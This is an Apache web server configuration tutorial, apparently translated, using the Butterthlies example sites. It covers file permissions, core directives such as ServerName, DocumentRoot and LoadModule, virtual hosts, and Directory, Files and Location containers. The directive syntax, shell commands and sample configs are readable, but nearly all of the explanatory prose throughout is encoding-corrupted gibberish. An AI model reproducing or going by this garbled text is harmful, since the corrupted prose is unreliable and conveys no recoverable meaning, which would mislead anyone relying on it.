 �< �	 Up �     �� ���2 ��� n#.���    �	 �p 2�2 2� � ��  �� �	�� ,� ���u1�    u����2 n��u � E�
�2�E :�1�&  �,�.�	 �n2�2 ���   � �����2��&�.�� . �� �	���	"  �� n�� � #"  t �1�& J��!   �1�& �� ��
"  �0    �p �s.� �!n#.���     #&�	 ��&�2 � #.�2 ��d �� .��	��	" � 
 u"  �1�u& 
  �	 �u� u"    ��us, #x ��u	�

)��w"2#�&�	 ��&�2:
% chmod o+x <each-directory-in-the-path>

��	��� �� 
���� �>"�1� ��1�& z"�	 �1�& 
" ��s, #)#.��1 �	 )��w"2#�#	:
% chmod o+r <final-directory>

�X. �p ��� �p� �	 J�~ ��X��" # 
�&�. ��s,�	)��w"2#&�	 n#& n2�2:
% chmod o-w <final-directory>

��	� :�,#1 ����" zn#.��� n2�2 )���/ �	 ( B,�& �p n#.��� �u��" #u�.�, .htaccess. u� _
,�2�&) B�� �	D��. �Y ��,�"#(–n#.����	 " �	 )#.��1 ��s, #)��w"22�& n2�2.

% chmod o+r file
��. j�, � 
�&�. ��s, ��"#:

% chmod o-w <file>
��	��� � �"�.�	 z �	 �,)��w"2�� � ��s,�"�#	 �#:

% chmod o+x <program>
��	��� � �" z��2��&�.�	" �	 #)��w"2����s,���. ��/� �� � � )#.��1 �"#:

% chmod o+rx <script>
��	��,� �B,�p �:

% chmod a=rx <script>
 #���V	 �	�p �����2��&�. ��"��"��. t"#:

% chmod u=rwx,og=rx <script>
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\Xb X������ #��
� 2" tV	 
2"�p�� �� �< �	 � �����Y!", G��p�E.
\XWXlX
�����O�9 ]

������ J�., J�.���	 � )�	_������, �V0, �#�p.
ServerName hostname 
Server config, virtual host

�" 
2"�p�� ���	 �, 2 n2�-��� ���.�	_���s, �)  B��7 (.�-, _���� #.
\XWXmX��!( ��� _

�"2 
"�p���1�& ������� )� �� �p �n#.��� � ���,#1, �, �V0, �#�2�#�p .
DocumentRoot directory
Default: /usr/local/apache/htdocs
Server config, virtual host

 2��, _  �	� �p URL2 �	 "�p������" #�.�, Alias� g	��! � �#�p �#����� u>, ���  2 �up 
URL � �	 � ��� n#& �V0, ">, 
�, e�]�� ��#�p.M�k, )���/ �	 

DocumentRoot /usr/web
uu, vuu/�	� �uup 2�uu& =2�html.index/com.myhost.www://http �uu	 n�uu&�n#uu.���

/usr/web/index.html#�p.
�w��,�   �up �u��.��      ! n#u& �Vu0, �1�u&   ou��DocumentRoot /    �u�� 
uq�, �#u&�	
!;q0,�   � 2� � �	 "#    , �}. �	 �p � &�. #��   �� ���[&�4   2 �.����6mod_dir #&�	  . ��	�u�	" 


 )2�	 �p �	 �� /���.� 2�>, � n#& �V0, �DocumentRoot�22�1 ���. �"#.
\XWXnX !(��
�����o

�0" �����, �V0, � �p #�p�"��1�&���conf � logs 2#��>� �1�& J�#p.
ServerRoot directory
Default directory: /usr/local/etc/httpd
Server config

  ��������   _� �	 � "  ��–f  �p �� � �    2 �p ��� J�~ �#"�p��  �ServerRoot  �2�#f, � � �p �# . ��
2 \�<"_� �� ��� �w" ��–d �p n2�-��� �. #����� �	 "2 
"�p��. ���>.

\XWXWpXErrorLog
2"�p�� �ErrorLog J�.n#.�����, �Xh )� 2 ����1 �p �#.�&� � , �V0,�#�p .

ErrorLog filename|syslog[:facility] 
Default: ErrorLog logs/error_log
Server config, virtual host

 J�. ���n#.��� �	  />, �	 �X>. � )� �2�0. {��&� �" �0�����, �}. 2  ���2�.
�����?,D�!~�	 � :, �� )�q,� �� )��!"�w.2�#��.�,����	 �2�p n2�-��� ����1 �Xh .

  &�	 ��&�2 � �!�#  ��	 �p � �,� �  �	 �!~�	 �"  #n#.������ � " �X. �,�.2�#"     ou��! 
�&�. B	�d #
)��w"2#&�	.

1 ServerName
2 DocumentRoot
3 Bug
4 Module
5 ServerRoot
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\XWXWWXPidFile
n#.����� �p ����&#�"����� � M�$ 2 ����� �, �Xh )� 2 �2�&�� , �V0, �#�p .

PidFile file
Default file: logs/httpd.pid
Server config

� �< �	�t� ���" 
n#.���…/logs/httpd.pid��� .

\XWXW\XTypesConfig
�"2 
"�p�� �>,� J�. � �n#.�����	 ��" 
���mime.type, �V0, �#�p.

TypesConfig filename 
Default: conf/mime.types
Server config

\XWXWaX S#� 7�9������� � �� �87�9���� ���+�e�
  ���V	 ��� 
q�,�  #n#.������ 2 "�w�  )�2 �  n#u.���� � #u�	�q�.�s�w	  u�# . ��u	��  u"  �up 


,���], )��!" )� :�n#.���9p B,�p �< �	 � � 2�p "2 �� �p �"�p�� �Include2�p n2�-��� :
Include filename
Server config, virtual host, directory, .htaccess

\Xc X 	�q��(� r�]

 �� ���Z�NDSO, n2�-��� ��p��	 �#"���p #�� "2�� 2 n#.���� �#�	�q��2 J�s.� �#.
\XWXWbX 	� =3/ q��(� r��9#�he

 ���� 2�   �V>. ?,D!�!� 2 y"�p��  ��� E�, ���.��	��	 " 
)��� ~���$��!" �p 
�1��4���� ��	 
  _� �� n2�-���"  ��--enable-shared=max���.   �� n#.���/usr/etc/httpd/httpd.conf.default �	

n#.���� �#�	�q�9p 2�1 �. y>$ �	 � )� � n2�p �� ��"��"��. t�"#.
LoadModule env_module         libexec/mod_env.so
LoadModule config_log_module  libexec/mod_log_config.so
LoadModule mime_module        libexec/mod_mime.so
LoadModule negotiation_module libexec/mod_negotiation.so
LoadModule status_module      libexec/mod_status.so
LoadModule includes_module    libexec/mod_include.so
LoadModule autoindex_module   libexec/mod_autoindex.so
LoadModule dir_module         libexec/mod_dir.so
LoadModule cgi_module         libexec/mod_cgi.so
LoadModule asis_module        libexec/mod_asis.so
LoadModule imap_module        libexec/mod_imap.so
LoadModule action_module      libexec/mod_actions.so
LoadModule userdir_module     libexec/mod_userdir.so
LoadModule alias_module       libexec/mod_alias.so
LoadModule access_module      libexec/mod_access.so
LoadModule auth_module        libexec/mod_auth.so
LoadModule setenvif_module    libexec/mod_setenvif.so
#  Reconstruction of the complete module list from all 
available modules
#  (static and shared ones) to achieve correct module 
execution order.
#  [WHENEVER YOU CHANGE THE LOADMODULE SECTION ABOVE UPDATE 
THIS, TOO]
ClearModuleList

1 Shared Objects
2 Dynamic Shared Objects
3 Build
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AddModule mod_env.c
AddModule mod_log_config.c
AddModule mod_mime.c
AddModule mod_negotiation.c
AddModule mod_status.c
AddModule mod_include.c
AddModule mod_autoindex.c
AddModule mod_dir.c
AddModule mod_cgi.c
AddModule mod_asis.c
AddModule mod_imap.c
AddModule mod_actions.c
AddModule mod_userdir.c
AddModule mod_alias.c
AddModule mod_access.c
AddModule mod_auth.c
AddModule mod_so.c
AddModule mod_setenvif.c

 �p � �!�  � �p #�   U^� tV	 �� �>� 2�2  :LoadModules     #uY	 � ClearModuleList    �u	 � 
 )� M�X.2AddModules��	�   2��, )2�p M�Y� �  . �p � �2 ��"# . u,�.��! u�  ��u	 #�  ��uU  ���  �� 

   )#& ��U&n#.��� � �#�	�q� � " � 
�    2 � �>n#.��� 2 "�w�      � )� F9u� � n2�up 2�� Include
��.�"# . �p � �!�   2 ��� �p #"�p����   �� "  z�.����  , n2�-��� �   )� �#�p�.���� �	  u"     � #u&�	 M�uY� #

���� �.���2�2 #���1 ��1 .
\XWXWcXLoadModule
2"�p�� �LoadModule ��1�� �.���� J�. �	 module� �	 �� �>�.�������, ���%� M�Y� �#�p.

LoadModule module filename
server config
mod_so 

modulei�, J�.� �1 �� {�. �� module 2 n#.��� � ���   )��u�/ �	Module Identifier 
��� n#& n2�	 J�. :�#��>, 2 .

LoadModule status_module modules/mod_status.so 



=>

O#� TU, :
�%g	� 7�8+� [� �#� !+

 )��p�������� �	 �#�	�q������� ��1� 2 ���2 �", � E�.��!�E	 � ��0��. Z�q�p )� 2�"E .
aXW X7�8+����+ ����+ � ��( :site.simple

  Yd�, 2 )��p���� �>� �  n�w	� �p E��� Yd�� ��!� � " �p 2�s�       u, � �u�.� �u.��. �up E�.��! u� 2 #
 ���p n�w	�	�	��# .��	�Yd�� ��! �p ��u� M�k, )#&  u�  ��u	 �up #�  �p�u& Butterthlies Inc.

,����1�  � n�w	� E"�p2�s�E. � "
  ��!�p �p�& � �>� � ��!  u�     u, �u%�/ � #� #u�p . ��u	�    �uq.�  
2�#Y!�, �	 �� =2� � )�	_n#.���/etc/hosts� g	��, � "� �"��", t��p�E.

127.0.0.1 localhost
192.168.123.2 www.butterthlies.com
192.168.123.2 sales.butterthlies.com
192.168.123.3 sales-IP.butterthlies.com
192.168.124.1 www.faraway.com

 )2�p �V0,  �U], )�	_�, 3 �_�� ,����.    ��	 �p ��� 
q�, � �V! �   . ��u�2� � u�   �u	 ��
�q���#, "#&�	 �qX& � .

site.simple  #�.���site.toddle  �    :��-! �p#.� �	���.��2��&�.go      #u���1 �p �  ��� 
2�p .��	������2 {��& �� "��. �� � � ��"#:

test -d logs || mkdir logs
httpd -d 'pwd' -f 'pwd'/conf/httpd.conf

  ��w. ��� ���	�   �	 n#.��� � " 	 ��2�#���#�"E .���     � �p� )� �� BXd "      2 �p ��� J�~ ��q. 

�����@,R�^ ��� J�~ " J�. �]n#.���� "2 �	 2�#"�p���TransferLog2�& �V0, .

n#.���…/conf/httpd.confp�� g	��, )��"��� B:
User webuser
Group webgroup

ServerName www.butterthlies.com
DocumentRoot /usr/www/APACHE3/APACHE3/ site.simple/htdocs
TransferLog logs/access_log

 2 BXd #�.���…/htdocsn#.���1.txt���1 � ��&�2 E:
hello world from site.simple again!

M�uuu$./go� ����uuu���     )��uuu�/ �uuu	 F9uuu� � n2�uuup ��uuu � n��1�uuu� =2�
http://www.butterthlies.com � ��, 2�p 2�� ���#:

Index of /
. Parent Directory
. 1.txt

��1.txtUp��p z����], �! #�X	 � )� ���#.
�uu%"�   �uu}. �uu	 tuuV	uu,� uu�� #uu�� ��uu�� uu" d�uu	 �uu�f. z��uu��  .  �uu	 �uu��

http://sales.butterthlies.com �& B��," �. �E�  �s".�>q� , ����"E .  )� �U/ ����    �up ��� 
&�, �qX& o���� � 
 )�����#�	�q��p2" �2 �� �	 �p EIP� "#�2 ���� �:

192.168.123.2
192.168.123.3

1 localhost
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  � �< �	�t  ��������   ���2� J��! �	 �IP   &�, �	 gUY�, �   Z�� 
,�#�2     ��.� ��� �	 � 
�	"    ���  Z� z,�#�2 . , ������.�	_� ��s, �3 �Y! " &�	 n2�p G� n�w.� �E    {�u. �u	 ��u>	IP

   !��-�, ���� ��� 
q�,�  #u�#	  .   � �u,�2� 2 u"      �u�����p �u	 tuV	 
� 	 � ��u0�      �� n2�-�u�� �u	 
2"�p������BindAddress �Listen � <VirtualHost>���1 ��1�2�� E.

 � �p�"      �p ��� J�~ ��q. 
i!�� �� �"j � �#�	�q�   �      � � ��& ����, ��� 
q�,� #�p � ! �	
!�X/� 2 "        �]-u^ ~�u�Y, ������, �p �s.� �� �w �u��     2 � ��  u"    .�u�. �u}��$ z�N 1�  u� n�

,�    �. ����, ��� 
q�, �#��p� �1� �s" i! 
��  � 2 :���#�	�q������        �u	 � #�#. )�0. � �� 
� �  �V>. )� ��� UXd � 1� �      #u�2 )�u0. � n#& n� . u	���  ��uU  ���  � ��  u"    �u,� 
Cache 2 � 

� 2�1 ����,��p M�Y� ��# .
   �	 M�$�����   ,�	 2�1 �� ���2"E .�����      ��uw. � n2�p Gd��, � �    �u	  n#u.��� �  u"�w.2�#�

	���#�"# .�	"� ��& #�_�X& � �	 �� o1" 2 �…/logs/access_logX	 ���#:
192.168.123.1--- [<date-time>] "GET / HTTP/1.1" 200 177

200   #p �0��	�HTTP ��� )  �Y, �	�Ok (  �177  �	 2�#Y! " �u���    M�uf�.� "   �u�� �u��� . 2
…/logs/error_log�X." � #�_�  � �#&�	 " ��1 ���"   ��� n2�#. �  .    . #u	 �u�X���       #u�� �� �u� �u>

������w. �� �	 " 
n#.���	 ���#�"#.
aXW XWXErrorDocument
2"�p���ErrorDocument�"   )�q,� 
  �,�  �p �V0, #�2�# 	�p �����   ����12 " zn#.���

d�-!� �� �2�p 2� �,�.�	 �#�-.
ErrorDocument error-code "document(" in Apache v2) 
Server config, virtual host, directory, .htaccess

 Bq0, ���	 :�^ 2"���� ���1 ��, ���! #."q�� �p ��� �� "#�2 J�s.� � �:
? ."� z���1 J��� �� � ��1 )���/ �	 � n#& �V0, t�#�#	 .
@ ."� z�&�-� J�� ��1 )���/ �	 � �#�#	 .
D .i!��>, �� �	 �" zURL2 " �wU1�2�#�#	.
7 .i!��>, �� �	 �" zURL2 " �1 �w�#�#	 .
_�"  � M�� ���     2 � �u�� ��� t"  _� �uw"      2 �u	 �u� �u�"��p u�  �ErrorDocument�� #u�	�q�

,�#.�& .��	� � "
    B	�f, 2 �p2"�p��  � �0��	 #p�HTTP   � " � z�  J�"  �URL �	 "   �Vu0, #
2�p .���	 J�" B1�2 # ""� ��d�2�.

URL,� U], #�.��!�   � 2 �p #�&�	 " �	 :�^ 
  /  {��u& u,�  #.�u& u" �   :�u^ �u	URL
B,�p .��	�M�k, :

ErrorDocument 500 http://foo.example.com/cgi-bin/tester
ErrorDocument 404 /cgi-bin/bad_urls.pl
ErrorDocument 401 /subscription_info.html
ErrorDocument 403 "Sorry can't allow you access today"

1 Virtual hosts
2 Cache
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aX\ X��� !+ 
�V�7�8+� Butterthlies, Inc.
 )��p�n#.���httpd.conf)  2…/site.first ( � ���1 B,�&"��� �:

User webuser
Group webgroup

ServerName my586

DocumentRoot /usr/www/APACHE3/APACHE3/ site.first/htdocs
TransferLog logs/access_log
#Listen is needed for Apache2
Listen 80

 ���� 2�@ 2 "�p������AccessConfig   � ResourceConfig  n#& ��>�,    u�� #u.��  � �u	  u" 

 2� �,�:�^ �	 )��!� "���.� 2 ��.���n#� �#�	�q��&�. :

Include conf/srm.conf 
Include conf/access.conf

 ���� 2�@     �� n2�-��� ���� Listen �X � �    !�^ 2 � ��� �    2 �p n#.��� � �#�	�q�  �#&�X. 
��1�� " � �,�#�2:

...no listening sockets available, shutting down.

 ���� tf.� �,#1 ����    ���� 2���� ���    #�� M�$ �	 �! � ��	 � ���� �  n2�q. n2�,� �"E .  ;uY�
 �	" zn#.��� n2�� HTML, {��& ��p�E .

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"> 
<html>
<head>
<title> Butterthlies Catalog</title>
</head>
<body>
<h1> Welcome to Butterthlies Inc</h1> 
<h2>Summer Catalog</h2> 
<p> All our cards are available in packs of 20 at $2 a pack.
There is a 10% discount if you order more than 100.
</p>
<hr>
<p>
Style 2315
<p align=center>
<img src="bench.jpg" alt="Picture of a bench">
<p align=center>
Be BOLD on the bench
<hr>
<p>
Style 2316
<p align=center>
<img src="hen.jpg" ALT="Picture of a hencoop like a pagoda">
<p align=center>
Get SCRAMBLED in the henhouse
<HR>
<p>
Style 2317
<p align=center>
<img src="tree.jpg" alt="Very nice picture of tree">
<p align=center>
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Get HIGH in the treehouse
<hr>
<p>
Style 2318
<p align=center>
<img src="bath.jpg" alt="Rather puzzling picture of a bathtub">
<p align=center>
Get DIRTY in the bath
<hr>
<p align=right>
Postcards designed by Harriet@alart.demon.co.uk
<hr>
<br>
Butterthlies Inc, Hopeful City, Nevada 99999
</body>
</HTML>

,����1�� �p E" 
n#.��� 2 … /site.first/htdocs�� 2�& ���a� n�uw	� 2 )� �� jd�� 2 -
��� 2 "�w�. � n2�-��� _,��p�E .��	��	"�#�w. 2�1 B], 2 � )� 
� �u��  �� � n2�p �2 "  �uw

  � )� �	�#.�3    ���2 �	 ".��>q�ln � " , 2�s��p�E. � "   v/�	 
,�  �p 2�& ���n#.���U^� �" �9p�
Yd��� i! �� � ��� �2�p �# u"i! 
 u��� 2 �� ��#u.��. )�  u�  ���ua _ u,� 2�u& .� u"    Eu�� �u	 � #�u� 


catalog_summer.html �1�& 2  /usr/www/APACHE3/main_docs  ��ud  u,� u�2�E .� u" 

n#.��� �	 "�� z���! "����.jpg n�&�,� 2 �p #�p �1�&… /main_docs#��>�:

% ln /usr/www/APACHE3/ main_docs/catalog_summer.html .
% ln /usr/www/APACHE3/main_docs/bench.jpg .

aX\ XWX!���9� �s�, t
./go�! � " � #uY	 � n2�p �� u&�, � 
 n��1�u�http://www.butterthlies.com/�p 2�� �  u�#
��1 �� "���1 � ��2 #"#:

INDEX of /
*Parent Directory
*bath.jpg
*bench.jpg
*catalog_summer.html
*hen.jpg
*tree.jpg

aX\ X\Xindex.html
�w��,�  �pn#.��� � � %�� t� ��	 � ��. "  ���� �#&�X. t� � � �u>�          BuXd tuV	 2 �u�.� �	�u0, 

2"#" )�0. #,�#�2 .� �	" 2�sn#.����"��.N 2… /htdocs/index.html�2"E:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"> 
<html>
<head>
<title>Index to Butterthlies Catalogs</title>
 </head>
<body>

1 Link
2 Index
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<ul>
<li><A href="catalog_summer.html">Summer catalog</A>
<li><A href="catalog_autumn.html">Autumn catalog</A>
</ul>
<hr>
<br>Butterthlies Inc, Hopeful City, Nevada 99999
</body>
</html>

�w��,�  �pn��1��"  zURL  �p #�p ��	  �u	 �a���, u"  ��u$ �1�u& z�index.html #u&�	 �
����� 	  �	 � )� �p2�1 �< �,� #.�2��)   u� �u< �u	�t � ��u� u" 
 u,�  2 ou��! #u.��!"�p� u� �

DirectoryIndex� �#�	�q�2�&  .(� ����, 2 )��p�"�� 
� 
,�	���E:
INDEX TO BUTTERTHLIES CATALOGS
*Summer Catalog
*Autumn Catalog
--------------------------------------------
Butterthlies Inc, Hopeful City, Nevada 99999

aXa X��������#��#A+ �
����� 2�#Y! �2"�p������ p�U	 �   �2�2     ��.� 2�	�p �p� , �)��!   �	 ,���.�	_� ��s, � �1�& �  �u�
  �"  �n#.������ ̂ �1 �  2�p 2�#],  .�"    ��	 8��1 �	 �p 
���������  f$ �� �f� >	 �  E�, �

� ����"#	 ��"�� 
� �U,�� 2�#Y! )��!"2�� �]! � n�w	� "���� z�2��. ���	  .� 2 ��X��" 2�, 

 tV	 2?(7	 �%�! ��0����1 ��2�2 E.

<VirtualHost>

<VirtualHost host[:port]>
...
</VirtualHost>
Server config

2"�p��    �<VirtualHost>  ��Xu>��	 #�.����HTML   Bu�/ u,� #u�p: u"     �uU	 z u��,�
  �V0,,�  �p #�p2 B,�&"�p������" �p ���  �	", z� n�&� )�	_,��p#� .��	���  u" )2�2 )�

� �	" ��  �U	 
</VirtualHost> n2�-��� ,��p�E .M�k,:
....
<VirtualHost www.butterthlies.com>
ServerAdmin sales@butterthlies.com
DocumentRoot /usr/www/APACHE3/APACHE3/ site.virtual/htdocs/customers
ServerName www.butterthlies.com
ErrorLog /usr/www/APACHE3/APACHE3/ site.virtual/name-based/logs/error_log
TransferLog /usr/www/APACHE3/APACHE3/ site.virtual/name-
based/logs/access_log
</VirtualHost>
...

<VirtualHost> ���� � =2� 
IP���2 � �� �p �, )� � .�u	_� u,�   �Vu0, � 2�u&
,�#�p .  ��� n��2 n��&    � n��2  �#&�X. �V0, �t n2�-��� ���,�    ��u	 ~�u�Y, �up �2�u&�

HTTP    n��& n��2 80   ��� " ���2 ��   2 �	 �p "�p��  �Port    #&�	 n#& �V0, ) ��u�� 2 ��X���
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  �V>.@,R � " 2 
"�p��  2�#. 2� � �(.host�����  
,�    �u	 #.��!_default_  �2�#uf, �    2 �2�u& 
�" :�^ 
, �	�.�	_� ��-� ,�2 2 �p 2�&"��0V	 �w�<VirtualHost>X�! �#�q. g.

  2"  z�.�,�� Yd�� � � �"   =2� 
,�  , J�. #.��!�  )�	_����� #&�	  . 2 ��"�p��   2 �	�u0, �"  �uw
2 2�	�p �p #.�2 2� �"�p�� 2�#], � ���,�#��p:

•<Directory>
•<Files>
•<Location>

�" � 
� 2 �>"�p������    !�! �	 � �	�0,  u�  y 2�Yu^�  )�u&�X�/�     )�u0.  u,� #u�2 . ��	�u�	" 

<Directory> o��! <Files> ��&�x� ��p ,� � 2�&<Files> o��! E� <Location>  .

Files,�  ��p�U	 )�2 #.��!�<directory> �  � w	 �2� .   ��� :�^ �	 �� ���   !�! �	 �  u� y
�"��� �:

? .<Directory>)  E}�, :��X/ )�#	 ( �.htaccess  ��u � )�,_�� �< �	  u,� #.�u&3.
<.htaccess> �h�  <Directory>�.��	 � ">�,�#�p.

@ .<DirectoryMatch> � <Directory>) E}�, :��X/ n����(.
D .<Files> � <FilesMatch> �� � )�,_�� �< �	 ,�#.�&.
7 .<Location> � <LocationMatch> �� � )�,_�� �< �	 ,�#.�&.

  n���3  !�! �	 � n�!�p y�!"   .~�< �	 �1�& 
��!"   �� � 
,�#.�& .n������ 2 "   !�! �u	 �w u� y
    2 )#& ���an#.��� � �#�	�q�  �� �,�#.�& .��0V	�  ��p�U	 B1�2 �<VirtualHost>    �� #uY	 
��0V	 M��/��	 �a���, �.���, M��/� �.�&#.

<Directory> and <DirectoryMatch>

<Directory dir  >
...
</Directory>

2"�p��  �<Directory> � "    � )�q,� 
,�  2 �p #�2"�p������ 2 " �	 � �w" �1�& z"���� ��
 �1�& ��2�& M��/� �� .�" �p ��� E�, ��q. 
dir"�1�& z  :�u^ �u	 �   guU�,)  Xu>. �u.� (

 �V0,,�#�p .�	��	�" 
<Directory /> � �	� Bp �.�,��n#.��� M��/�  u,� 2�u&�  � �u	 �
 �0" #��  �� � �"
�!  ��. ��/� 2�& .dir,�  #.��!  �	wildcard  �� " u�Y�? ��u	 � u"�. z"  � �u>*

��	����X.2 �� �� �."�> �� �[ ]��	 �n2�#], )2�p �V0, ���. ��"�>, �p �	 ���2� . ��u	�
  M�k,[a-d] 	  �Y, ��»   ��"  �. �� z"�>���a   �! d «���.  �. ��� "  �>~   B	�f, 2dir	�� u"  �#  J�u.

,� B,�& #.�!" :�X/ z#&�	 B,�p E}�,N.

?.�, �U  �	 �1�& �� g�/ 2 )�,_�� ��.� �p ��� ��Y, 
"#	 
"�#.�.
1. ���p �	“Mastering Regular Expressions” o��! Jeffrey E.F. Friedl)  :��0�.�O’Reilly (#��p �Y ��,.
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<DirectoryMatch> #�.��� <Directory ~> n2�-��� E}�, :�X/ �	 � ���  u,� 2�u& .  �u	
M�k, )���/:

<Directory ~ /[a-d].*>
"�

<DirectoryMatch /[a-d].*>
�Y, �	�"  �1�& 2 �1�& ��" \�$ �	 �p �0a" �b" �c" �d {��& ,�2�&".

<Files> and <FilesMatch>

<Files file>
...
</Files>

2"�p���<Files>   �U	 M��/� n2�#],  �	 �n#.��� �#], ,�#�p .��	��	" 
">, z� Xu>. ��
   �	 �X>.DoucmentRoot =2� ��2�,�   �p #�2,�   B,�& #.��!wildcard"    E}�u, :�X/ �

  �. �	 �p #&�	 B,�p" �>~#&�	 n#& {��&  .<FilesMatch>, �#.��! )�#	 E}�, :�X/ n���� ~
2�& .��	��	" 
n#.���������Y, ����� �q�, � �� :�^ �	 )��!"2�p �V0, �:

<FilesMatch "\.(gif|jpe?g|png)$"

   \;1 �	<Directory>   � <Location>  �<Files>  u, �    2 #u.��! n#u.���.htaccess   n2�-�u�� 
2�& .

<Location> and <LocationMatch>

<Location URL>
...
</Location>

2"�p��  �<Location> 2 2�	�p"�p��  �  B1�2   �U	  �	 �URL, 2�#], n#& �V0, ��p  #u�
 , �p� �& #.��!   B,�& B,wildcard       �	 �p E}�, :��X/ � ~  , {��& �2�& .<LocationMatch>

 n����" )�#	 E}�, :�X/ z~, ��"#.

<IfDefine>

<IfDefine name>
...
</IfDefine>
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2"�p��  �<IfDefine>"       _� �� n2�-��� y>$ �	 �  �U	 z"  ��–Dname      )#u,� ~�	 J�w�� 2 
�����   M�Y� ,�#�p .�" 2 
"�p�� 	 �� ��	 ��0� ���p � �>! � �    u	 �u.  n�uw	� ���    �u^���1� ��u�

��� y���,.

<IfModule>

<IfModule [!]module-file-name>
...
</IfModule>

2"�p��  �<IfModule>"    !�^ 2 �  �U	 z�   �p �.����   ��	�, �� �!   n#&  u"     :�u^ �u	 �
��"  ���� �	 �� �x��	 �     M�Y� �#&�	 n#& ,�#�p . � ����  #.�0!    Y, �u	 #u&�	 n#& n2�-���  u���  u" 


   �p ����.���� �x��	 ��	�, �" ��� �!#&�	 n#0.  . �u.���� �u��<IfModule> u,�   �u	 #u�.��!
#.�& n2�-��� �!2�! :�^.

aXb X� �������#�� ��8
2"�p������" �p "����� :�^ �	 �	 z���	 ������, �� � �� �,�2� 2 #.�&�n#& �>#.�:

ServerName

ServerName fully-qualified-domain-name 
Server config, virtual host

2"�p��  �ServerName , J�.�  ��	 � )�	_������  , �V0, �#�p . � �� u"
 2 "�p� u�  �   J�uw�� 
�"  2�sURL���i!�� >, ��  � , n2�-����2�& .    �2�0. �V0, �������� Y� �  u, �      J�u. �up #u�p

�����     =2� �� � IP  2�� ��#	  . � �	"
  q�, M�$    ��2 �	 ��� 
�   � �#�q. �p " �	 ��" =�� #�-
� � �� =�qY, DNS2�& J�s.� .

UseCanonicalName

�" 2 
"�p��   n�]. �q0!�B 2��, URL {� � )�&2�1 �	 �p ,�#��p��  M���p,�#�p .  ;ku,
�uuuuuuw��,�uuuuuu>, �uuuuuup� =2� �http://www.domain.com/some/directory �uuuuuu	 � 

http://www.domain.com/some/directory/) �. �uuu	" �uuu> /�uuu��.��"�p �uuu �! uuu�#( . �uuu��
UseCanonicalName on#&�	 )��t���()� �n���� , J�. ����2 � )�	_���	 �p �i!�� u>, �� �

UseCanonicalName on|off
Default: on 
Server config, virtual host, directory, .htaccess



XY

  n2�-���,�  �2�&  2 o��! �p"�p������ServerName   � Port   #�&�	 n#& �V0,  .   )� �#f, ���
off)� �#&�	 ���2 n��& � J�. n������ =2� 2 �p � n2�-��� �2�	 n#& �V0, �,�2�&.

ServerAdmin

ServerAdmin email_address
Server config, virtual host

ServerAdmin =2� email��	 � �XY! � 2 ��]-^�����1 ���! �#�2 ��d n#& #.

ServerSignature

ServerSignature [off|on|email]
Default: off
directory, .htaccess

�" 2 
"�p��   n�� � �,�   �p #�2n��1��      J�#p jd�� 2 #.�#	 �����     u>p��� �u��X.2 2 �    � �up ��
  J�s.�,�#�2 .on      v/�	 )� �#f, )2�	 ,�   �up 2�u&   ��! :�]-u^ 2 u�      ou��! n#u& # ��u��� �
�.��">� ��$ �    �V>. n��& �����    �#f, � �ServerName   , �	 ��	�, �  ��us, )�	_�  ��! )�  u� #
2�& .ServerSignature email v/�	 ,�   ju �, )� �u	 n�;/ �p 2�&mailito: .  u�  =2� �u	 _

ServerAdmin�"2�& 2�s.

ServerTokens

ServerTokens
[productonly|min(imal)|OS|full]
Default: full
Server config

�" 2 
"�p�� !�/;<� ��   �p �����   �	 Z2�1 n�	2 ,�    Z�� � #.�2�� u,� #u�p . ��u	� �,�  u� �
	� �p ��� ���	 ��0�" :�/;<� 
 2�#],��	 �	 )� �� �! 2�&�^�f, 2�0. n2�-��� ��� #:

Productonly (from v 1.3.14)
�����f�  oApache�	 � ,�#.�2��.

min(imal)
������	 � �V>. n��& � J�. of�,�#.�2�� . ;k,Apache v1.3
2�f," 2 �"     �� #�!�X/ 
q�, �wos ��	 �    )2�2 )�0. �.�,��    � B,�/ full ��	 �    J��! )2�2 )�0. 

�$ :�/;<��_� "������� �!.
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ServerAlias

ServerAlias name1 name2 name3 ...
Virtual host

�" 2 
"�p���" � z��>�  2 �� " ��,�. �w� , �  ��us, )�	_�    �u���  u,� #u�p .   �u�� �u���12�  �� 
HTTP 1.1 �#�p n2�-��� �" n���� �	 J�. 
Host: Server��� 2 " #�,��" � #,� �� �	 #.��! u" z

 ��ServerName �ServerAlias" � J�.VirtualHostX�! � g"#	�.

ServerPath

ServerPath path
Virtual host

 2HTTP 1.1,�#�� )��!", J�. 
� �	 � )�	_" =2� zIP �	 ����, � 2�p �&�w. #$�� 
��� )2�����" #�Host	 ���! ��.� 
"�d _" B,�2�& . u���  u1�	 ��u���  �� �u�����, HTTP 1.0

 n2�-���,�#��p .2"�p�� �ServerPath� "� )�q,� 
,� �p #�2>, �� n2�-��� �	�, ����s, )�	_�
2�p �V0, � ��	�, . �� ��& )��	�p ���HTTP 1.0 n2�-��� ,�)� �#��p ��u� n��" #�Host � 

2����� #����V..
��	�   �p ��� �.��. �     n�w	� �2 �p #site1.example.com   � site2.example.com    =2� �u	 

IP #$�� �)   ;k,192.168.132.2 (�w.    � #.�& �&httpd.conf   � g	��, �  u"� �� #u�	�q�  n2�up 
&�	�#:

<VirtualHost 192.168.123.2>
ServerName site1.example.com
DocumentRoot /usr/www/APACHE3/site1
ServerPath /site1
</VirtualHost>

<VirtualHost 192.168.123.2>
ServerName site2.example.com
DocumentRoot /usr/www/APACHE3/site2
ServerPath /site2
</VirtualHost>

 �uuu���, n�uuuw.�HTTP 1.1uuu,� �2 �uuu	 #uuu.��! =2�http://site1.example.com/ � 
http://site2.example.com/����2�� �#�p �# .	 �<�1 �	���" �p #HTTP 1.0 of�  u,�  #u.��!

	����2� )2�	 :��-�, �	 n�w	� �2 
�IP�d :��-! "2�& B .��	��	" 
�2 ���� " 
 �	 ���2�" z
,� �uu&�w. )�uu	_uu,�#.�uu& .� �uu	�#uu�	�q� ~�uu	 �uu" �uu�����, 
uu,� ��uu�2� �uu	 #uu�.��!�

http://site1.example.com/site1 �http://site1.example.com/site2� �uuu	uuu" n�uuuw	� �2 

����2�� �#��p �#.
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SendBufferSize

SendBufferSize <number>
Default: set by OS
Server config

�" 2 
"�p��     M��� ���	 n��#.� �TCP    �#f, �	 �  � � �     u� �#uf, �� ��t   ��u� �.�,�u�   Bu,�/ 
�2�#f,�,�#�p .

KeepAlive

KeepAlive number
Default number: 5
Server config

    �	�p ��� M��Y, �< �	� �]-^ ��      �	 �2�p ����12 �    2 :�]-^ )� M�X.2" �w u" u&� �� ��
